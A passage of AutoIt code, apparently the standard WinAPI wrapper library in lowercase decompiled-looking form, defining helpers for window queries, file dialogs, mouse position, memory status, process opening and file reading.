- Return $aresult[0]
- EndFunc
- Func _winapi_getforegroundwindow()
- Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
- If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
- Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_geticoninfo($hicon)
- Local $tinfo = DllStructCreate($tagiconinfo)
- DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
- If @error Then Return SetError(@error, @extended, 0)
- Local $aicon[6]
- $aicon[0] = True
- $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
- $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
- $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
- $aicon[4] = DllStructGetData($tinfo, "hMask")
- $aicon[5] = DllStructGetData($tinfo, "hColor")
- Return $aicon
- EndFunc
- Func _winapi_getfilesizeex($hfile)
- Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[2]
- EndFunc
- Func _winapi_getlasterrormessage()
- Local $tbufferptr = DllStructCreate("ptr")
- Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
- If @error Then Return SetError(@error, 0, "")
- Local $stext = ""
- Local $pbuffer = DllStructGetData($tbufferptr, 1)
- If $pbuffer Then
- If $ncount > 0 Then
- Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
- $stext = DllStructGetData($tbuffer, 1)
- EndIf
- _winapi_localfree($pbuffer)
- EndIf
- Return $stext
- EndFunc
- Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
- $i_transcolor = -1
- $transparency = -1
- Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- If NOT $ascolorref Then
- $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
- EndIf
- $i_transcolor = $aresult[2]
- $transparency = $aresult[3]
- Return $aresult[4]
- EndFunc
- Func _winapi_getmodulehandle($smodulename)
- Local $smodulenametype = "wstr"
- If $smodulename = "" Then
- $smodulename = 0
- $smodulenametype = "ptr"
- EndIf
- Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
- Local $imode = Opt("MouseCoordMode", 1)
- Local $apos = MouseGetPos()
- Opt("MouseCoordMode", $imode)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $apos[0])
- DllStructSetData($tpoint, "Y", $apos[1])
- If $ftoclient Then
- _winapi_screentoclient($hwnd, $tpoint)
- If @error Then Return SetError(@error, @extended, 0)
- EndIf
- Return $tpoint
- EndFunc
- Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
- Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($tpoint, "X")
- EndFunc
- Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
- Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($tpoint, "Y")
- EndFunc
- Func _winapi_getobject($hobject, $isize, $pobject)
- Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
- Local $ipathlen = 4096
- Local $inulls = 0
- Local $tofn = DllStructCreate($tagopenfilename)
- Local $afiles[1] = [0]
- Local $iflag = $iflags
- Local $asflines = StringSplit($sfilter, "|")
- Local $asfilter[$asflines[0] * 2 + 1]
- Local $istart, $ifinal, $stfilter
- $asfilter[0] = $asflines[0] * 2
- For $i = 1 To $asflines[0]
- $istart = StringInStr($asflines[$i], "(", 0, 1)
- $ifinal = StringInStr($asflines[$i], ")", 0, -1)
- $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
- $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
- $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
- Next
- Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
- Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
- Local $tfilter = DllStructCreate($stfilter & "wchar")
- Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
- Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
- For $i = 1 To $asfilter[0]
- DllStructSetData($tfilter, $i, $asfilter[$i])
- Next
- DllStructSetData($ttitle, "Title", $stitle)
- DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
- DllStructSetData($tpath, "Path", $sdefaultfile)
- DllStructSetData($textn, "Extension", $sdefaultext)
- DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
- DllStructSetData($tofn, "hwndOwner", $hwndowner)
- DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
- DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
- DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
- DllStructSetData($tofn, "nMaxFile", $ipathlen)
- DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
- DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
- DllStructSetData($tofn, "Flags", $iflag)
- DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
- DllStructSetData($tofn, "FlagsEx", $iflagsex)
- DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
- If @error Then Return SetError(@error, @extended, $afiles)
- If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
- For $x = 1 To $ipathlen
- If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
- DllStructSetData($tpath, "Path", "|", $x)
- $inulls += 1
- Else
- $inulls = 0
- EndIf
- If $inulls = 2 Then ExitLoop
- Next
- DllStructSetData($tpath, "Path", Chr(0), $x - 1)
- $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
- If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
- Return StringSplit(DllStructGetData($tpath, "Path"), "|")
- ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
- $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
- If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
- Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
- Else
- Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
- EndIf
- EndFunc
- Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
- Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
- If @error Then Return SetError(@error, @extended, False)
- $ibytes = $aresult[3]
- Return $aresult[0]
- EndFunc
- Func _winapi_getparent($hwnd)
- Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getprocessaffinitymask($hprocess)
- Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Local $amask[3]
- $amask[0] = True
- $amask[1] = $aresult[2]
- $amask[2] = $aresult[3]
- Return $amask
- EndFunc
- Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
- Local $ipathlen = 4096
- Local $tofn = DllStructCreate($tagopenfilename)
- Local $afiles[1] = [0]
- Local $iflag = $iflags
- Local $asflines = StringSplit($sfilter, "|")
- Local $asfilter[$asflines[0] * 2 + 1]
- Local $istart, $ifinal, $stfilter
- $asfilter[0] = $asflines[0] * 2
- For $i = 1 To $asflines[0]
- $istart = StringInStr($asflines[$i], "(", 0, 1)
- $ifinal = StringInStr($asflines[$i], ")", 0, -1)
- $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
- $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
- $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
- Next
- Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
- Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
- Local $tfilter = DllStructCreate($stfilter & "wchar")
- Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
- Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
- For $i = 1 To $asfilter[0]
- DllStructSetData($tfilter, $i, $asfilter[$i])
- Next
- DllStructSetData($ttitle, "Title", $stitle)
- DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
- DllStructSetData($tpath, "Path", $sdefaultfile)
- DllStructSetData($textn, "Extension", $sdefaultext)
- DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
- DllStructSetData($tofn, "hwndOwner", $hwndowner)
- DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
- DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
- DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
- DllStructSetData($tofn, "nMaxFile", $ipathlen)
- DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
- DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
- DllStructSetData($tofn, "Flags", $iflag)
- DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
- DllStructSetData($tofn, "FlagsEx", $iflagsex)
- DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
- If @error Then Return SetError(@error, @extended, $afiles)
- Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
- EndFunc
- Func _winapi_getstockobject($iobject)
- Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getstdhandle($istdhandle)
- If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
- Local Const $ahandle[3] = [-10, -11, -12]
- Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_getsyscolor($iindex)
- Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getsyscolorbrush($iindex)
- Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getsystemmetrics($iindex)
- Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_gettextextentpoint32($hdc, $stext)
- Local $tsize = DllStructCreate($tagsize)
- Local $isize = StringLen($stext)
- DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
- If @error Then Return SetError(@error, @extended, 0)
- Return $tsize
- EndFunc
- Func _winapi_gettextmetrics($hdc)
- Local $ttextmetric = DllStructCreate($tagtextmetric)
- Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
- If @error Then Return SetError(@error, @extended, 0)
- If NOT $ret[0] Then Return SetError(-1, 0, 0)
- Return $ttextmetric
- EndFunc
- Func _winapi_getwindow($hwnd, $icmd)
- Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getwindowdc($hwnd)
- Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getwindowheight($hwnd)
- Local $trect = _winapi_getwindowrect($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
- EndFunc
- Func _winapi_getwindowlong($hwnd, $iindex)
- Local $sfuncname = "GetWindowLongW"
- If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
- Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getwindowplacement($hwnd)
- Local $twindowplacement = DllStructCreate($tagwindowplacement)
- DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
- DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
- If @error Then Return SetError(@error, @extended, 0)
- Return $twindowplacement
- EndFunc
- Func _winapi_getwindowrect($hwnd)
- Local $trect = DllStructCreate($tagrect)
- DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $trect
- EndFunc
- Func _winapi_getwindowrgn($hwnd, $hrgn)
- Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getwindowtext($hwnd)
- Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
- If @error Then Return SetError(@error, @extended, "")
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
- Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- $ipid = $aresult[2]
- Return $aresult[0]
- EndFunc
- Func _winapi_getwindowwidth($hwnd)
- Local $trect = _winapi_getwindowrect($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
- EndFunc
- Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
- $ix = DllStructGetData($tpoint, "X")
- $iy = DllStructGetData($tpoint, "Y")
- EndFunc
- Func _winapi_globalmemorystatus()
- Local $tmem = DllStructCreate($tagmemorystatusex)
- Local $imem = DllStructGetSize($tmem)
- DllStructSetData($tmem, 1, $imem)
- DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem)
- If @error Then Return SetError(@error, @extended, 0)
- Local $amem[7]
- $amem[0] = DllStructGetData($tmem, 2)
- $amem[1] = DllStructGetData($tmem, 3)
- $amem[2] = DllStructGetData($tmem, 4)
- $amem[3] = DllStructGetData($tmem, 5)
- $amem[4] = DllStructGetData($tmem, 6)
- $amem[5] = DllStructGetData($tmem, 7)
- $amem[6] = DllStructGetData($tmem, 8)
- Return $amem
- EndFunc
- Func _winapi_guidfromstring($sguid)
- Local $tguid = DllStructCreate($tagguid)
- _winapi_guidfromstringex($sguid, $tguid)
- If @error Then Return SetError(@error, @extended, 0)
- Return $tguid
- EndFunc
- Func _winapi_guidfromstringex($sguid, $pguid)
- Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_hiword($ilong)
- Return BitShift($ilong, 16)
- EndFunc
- Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
- If $hwnd = $hlastwnd Then Return True
- For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
- If $hwnd = $__gainprocess_winapi[$ii][0] Then
- If $__gainprocess_winapi[$ii][1] Then
- $hlastwnd = $hwnd
- Return True
- Else
- Return False
- EndIf
- EndIf
- Next
- Local $iprocessid
- _winapi_getwindowthreadprocessid($hwnd, $iprocessid)
- Local $icount = $__gainprocess_winapi[0][0] + 1
- If $icount >= 64 Then $icount = 1
- $__gainprocess_winapi[0][0] = $icount
- $__gainprocess_winapi[$icount][0] = $hwnd
- $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
- Return $__gainprocess_winapi[$icount][1]
- EndFunc
- Func _winapi_inttofloat($iint)
- Local $tint = DllStructCreate("int")
- Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
- DllStructSetData($tint, 1, $iint)
- Return DllStructGetData($tfloat, 1)
- EndFunc
- Func _winapi_isclassname($hwnd, $sclassname)
- Local $sseparator = Opt("GUIDataSeparatorChar")
- Local $aclassname = StringSplit($sclassname, $sseparator)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Local $sclasscheck = _winapi_getclassname($hwnd)
- For $x = 1 To UBound($aclassname) - 1
- If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
- Next
- Return False
- EndFunc
- Func _winapi_iswindow($hwnd)
- Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_iswindowvisible($hwnd)
- Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
- Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_lineto($hdc, $ix, $iy)
- Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadbitmap($hinstance, $sbitmap)
- Local $sbitmaptype = "int"
- If IsString($sbitmap) Then $sbitmaptype = "wstr"
- Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
- Local $aresult, $simagetype = "int"
- If IsString($simage) Then $simagetype = "wstr"
- $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadlibrary($sfilename)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadlibraryex($sfilename, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_loadshell32icon($iiconid)
- Local $ticons = DllStructCreate("ptr Data")
- Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
- If @error Then Return SetError(@error, @extended, 0)
- If $iicons <= 0 Then Return SetError(1, 0, 0)
- Return DllStructGetData($ticons, "Data")
- EndFunc
- Func _winapi_loadstring($hinstance, $istringid)
- Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
- If @error Then Return SetError(@error, @extended, "")
- Return SetExtended($aresult[0], $aresult[3])
- EndFunc
- Func _winapi_localfree($hmem)
- Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_loword($ilong)
- Return BitAND($ilong, 65535)
- EndFunc
- Func _winapi_makelangid($lgidprimary, $lgidsub)
- Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
- EndFunc
- Func _winapi_makelcid($lgid, $srtid)
- Return BitOR(BitShift($srtid, -16), $lgid)
- EndFunc
- Func _winapi_makelong($ilo, $ihi)
- Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
- EndFunc
- Func _winapi_makeqword($lodword, $hidword)
- Local $tint64 = DllStructCreate("uint64")
- Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
- DllStructSetData($tdwords, 1, $lodword)
- DllStructSetData($tdwords, 2, $hidword)
- Return DllStructGetData($tint64, 1)
- EndFunc
- Func _winapi_messagebeep($itype = 1)
- Local $isound
- Switch $itype
- Case 1
- $isound = 0
- Case 2
- $isound = 16
- Case 3
- $isound = 32
- Case 4
- $isound = 48
- Case 5
- $isound = 64
- Case Else
- $isound = -1
- EndSwitch
- Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_msgbox($iflags, $stitle, $stext)
- BlockInput(0)
- MsgBox($iflags, $stitle, $stext & " ")
- EndFunc
- Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
- DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
- If @error Then Return SetError(@error, @extended)
- EndFunc
- Func _winapi_moveto($hdc, $ix, $iy)
- Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
- Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_muldiv($inumber, $inumerator, $idenominator)
- Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
- Local $stexttype = "str"
- If NOT IsString($stext) Then $stexttype = "struct*"
- Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Local $iout = $aresult[0]
- Local $tout = DllStructCreate("wchar[" & $iout & "]")
- $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
- If @error Then Return SetError(@error, @extended, 0)
- If $bretstring Then Return DllStructGetData($tout, 1)
- Return $tout
- EndFunc
- Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
- Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult[0] Then Return $aresult[0]
- If NOT $fdebugpriv Then Return 0
- Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
- If @error Then Return SetError(@error, @extended, 0)
- _security__setprivilege($htoken, "SeDebugPrivilege", True)
- Local $ierror = @error
- Local $ilasterror = @extended
- Local $iret = 0
- If NOT @error Then
- $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
- $ierror = @error
- $ilasterror = @extended
- If $aresult[0] Then $iret = $aresult[0]
- _security__setprivilege($htoken, "SeDebugPrivilege", False)
- If @error Then
- $ierror = @error
- $ilasterror = @extended
- EndIf
- EndIf
- _winapi_closehandle($htoken)
- Return SetError($ierror, $ilasterror, $iret)
- EndFunc
- Func __winapi_parsefiledialogpath($spath)
- Local $afiles[3]
- $afiles[0] = 2
- Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
- $afiles[1] = $stemp
- $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
- Return $afiles
- EndFunc
- Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF)
- Local $iextracount = 0
- If IsString($aextrapaths) Then
- If StringLen($aextrapaths) Then
- $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2)
- $iextracount = UBound($aextrapaths, 1)
- EndIf
- ElseIf IsArray($aextrapaths) Then
- $iextracount = UBound($aextrapaths)
- EndIf
- Local $tpaths, $tpathptrs
- If $iextracount Then
- Local $szstruct = ""
- For $path In $aextrapaths
- $szstruct &= "wchar[" & StringLen($path) + 1 & "];"
- Next
- $tpaths = DllStructCreate($szstruct)
- $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
- For $i = 1 To $iextracount
- DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
- DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
- Next
- DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
- EndIf
- Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs)
- If @error Then Return SetError(@error, @extended, False)
- If $aresult[0] = 0 Then Return SetError(1, 0, $szfile)
- Return $aresult[1]
- EndFunc
- Func _winapi_pointfromrect(ByRef $trect, $fcenter = True)
- Local $ix1 = DllStructGetData($trect, "Left")
- Local $iy1 = DllStructGetData($trect, "Top")
- Local $ix2 = DllStructGetData($trect, "Right")
- Local $iy2 = DllStructGetData($trect, "Bottom")
- If $fcenter Then
- $ix1 = $ix1 + (($ix2 - $ix1) / 2)
- $iy1 = $iy1 + (($iy2 - $iy1) / 2)
- EndIf
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $ix1)
- DllStructSetData($tpoint, "Y", $iy1)
- Return $tpoint
- EndFunc
- Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
- Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_primarylangid($lgid)
- Return BitAND($lgid, 1023)
- EndFunc
- Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
- Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
- If @error Then Return SetError(1, @extended, False)
- Return NOT ($aresult[0] = 0)
- EndFunc
- Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
- Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
- If @error Then Return SetError(@error, @extended, False)
- $iread = $aresult[4]
